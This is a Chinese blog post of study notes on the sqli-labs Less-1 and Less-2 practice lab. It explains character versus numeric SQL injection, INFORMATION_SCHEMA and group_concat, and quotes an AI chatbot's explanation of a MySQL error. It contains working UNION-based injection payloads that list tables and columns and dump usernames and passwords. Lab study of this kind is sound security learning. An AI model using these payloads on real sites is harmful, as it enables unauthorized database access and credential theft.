note-01

sql-labs 学习笔记

sql-labs less-1

字符型
sql注入后端代码(编的)

1
select * from users where id='$get_id'

在url中直接使用’#’会被url解析,导致传入服务器的不为’#’所以使用‘- - +’

1
2
?id=1'
//看能否判断sql注入类型

拼入sql查询

1
select * from users where id='1''

回显:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’1’’ LIMIT 0,1’ at line 1

KIMI:

这个错误信息表明你的SQL语句中存在语法问题,具体问题出现在’1’附近,可能是因为SQL语句的拼接方式不正确,或者某些部分的格式不符合MySQL的语法规则。
从错误信息来看,问题可能出在以下几个方面:

单引号的使用:错误信息中提到’1’,这表明SQL语句中可能有多余的单引号,或者单引号的使用方式不正确。

LIMIT子句的格式:LIMIT 0,1是正确的语法,但错误信息表明它可能与前面的语句拼接不当。

注入攻击:如果’1’是用户输入的一部分,那么这可能是SQL注入攻击的迹象。

LIMIT 0,1 是 SQL 语句中用于限制查询结果数量的子句,特别是在 MySQL 数据库中。
它的作用是从查询结果中提取指定范围的记录。具体来说,LIMIT 0,1 的含义如下:

1
2
3
4
语法格式:
LIMIT offset, count
offset:表示从结果集的第几条记录开始提取(从 0 开始计数)。
count:表示提取的记录数量。

回显有数字判断为字符型

记得用‘-1’来使得前面对‘-1’的查询出现null的结果免得使用‘1’查询出的结果会将后面的查询覆盖,由刚才的:

1
2
3
4
LIMIT 0,1
0:表示从结果集的第一条记录开始(即跳过 0 条记录)。
1:表示只提取一条记录。
因此,LIMIT 0,1 的作用是从查询结果中提取第一条记录。

测试回显行列

1
2
3
?id=-1'order by 4 --+

?id=-1'union select 1,2,3 --+

查询当前库

1
?id=-1'union select 1,2,database() --+

后面的paylaod

1
2
3
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1'union select 1,2,group_concat(id,username,password) from users --+

在博客园和csdn有很多详细解释,只记下自己不明白去查询的点以防以后忘记

我的新知识点

group_concat //将查询到的表的数据结果拼接起来

union select //联合查询,能将同时查询 1,2,3 个

information_schema //在SQL中,INFORMATION_SCHEMA 是一个特殊的数据库,它存储了数据库管理系统(DBMS)的元数据信息。这些元数据包括数据库的结构、表的信息、列的定义、用户权限、存储过程等。

INFORMATION_SCHEMA 提供了一种标准化的方式来访问数据库的元数据信息。它类似于一个“数据库的数据库”,帮助用户了解数据库的内部结构和配置。通过查询 INFORMATION_SCHEMA 中的表,用户可以获取以下信息:

数据库中有哪些表(INFORMATION_SCHEMA.TABLES)。

每个表有哪些列(INFORMATION_SCHEMA.COLUMNS)。

数据库的用户权限(INFORMATION_SCHEMA.USER_PRIVILEGES)。

数据库的字符集和校对规则(INFORMATION_SCHEMA.CHARACTER_SETS)。

存储过程和函数的定义(INFORMATION_SCHEMA.ROUTINES)。

数据库的表分区信息(INFORMATION_SCHEMA.PARTITIONS)。

数据库的外键约束信息(INFORMATION_SCHEMA.KEY_COLUMN_USAGE)。

我看我目前用到的是下面:

(1) INFORMATION_SCHEMA.TABLES
用途:列出数据库中所有表的信息。
字段:
table_schema:表所属的数据库名称。
table_name:表的名称。
table_type:表的类型(如 BASE TABLE 或 VIEW)。
engine:表的存储引擎(如 InnoDB 或 MyISAM)。

(2) INFORMATION_SCHEMA.COLUMNS
用途:列出表中所有列的详细信息。
字段:
table_schema:表所属的数据库名称。
table_name:表的名称。
column_name:列的名称。
data_type:列的数据类型
character_maximum_length:列的最大长度。

搭配 where 来使用

回顾刚才的payload

1
2
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

less-2

新知识点

数字型注入的sql语句

后端代码 例

1
2
"selcet * from users where id=$get_id"

与字符型的区别是将用户输入内容:

1
$get_id

直接拼接到sql语句中。

对比字符型sql语句

1
select * from users where id='$get_id'

所以不需要使用 “ ‘ “ 来构建新的查询,也不需要 ‘#’ 或者 ‘–+’来将后面的语句注释掉,如果带密码则需要注释吧

1
2
3
4
5
6
7
8
9
10
11
12
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users

————————————————

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

原文链接:https://blog.csdn.net/dreamthe/article/details/123795302

note-01
https://aidemofashi.github.io/2025/02/26/note-01/
作者
aidemofashi
发布于
2025年2月26日
许可协议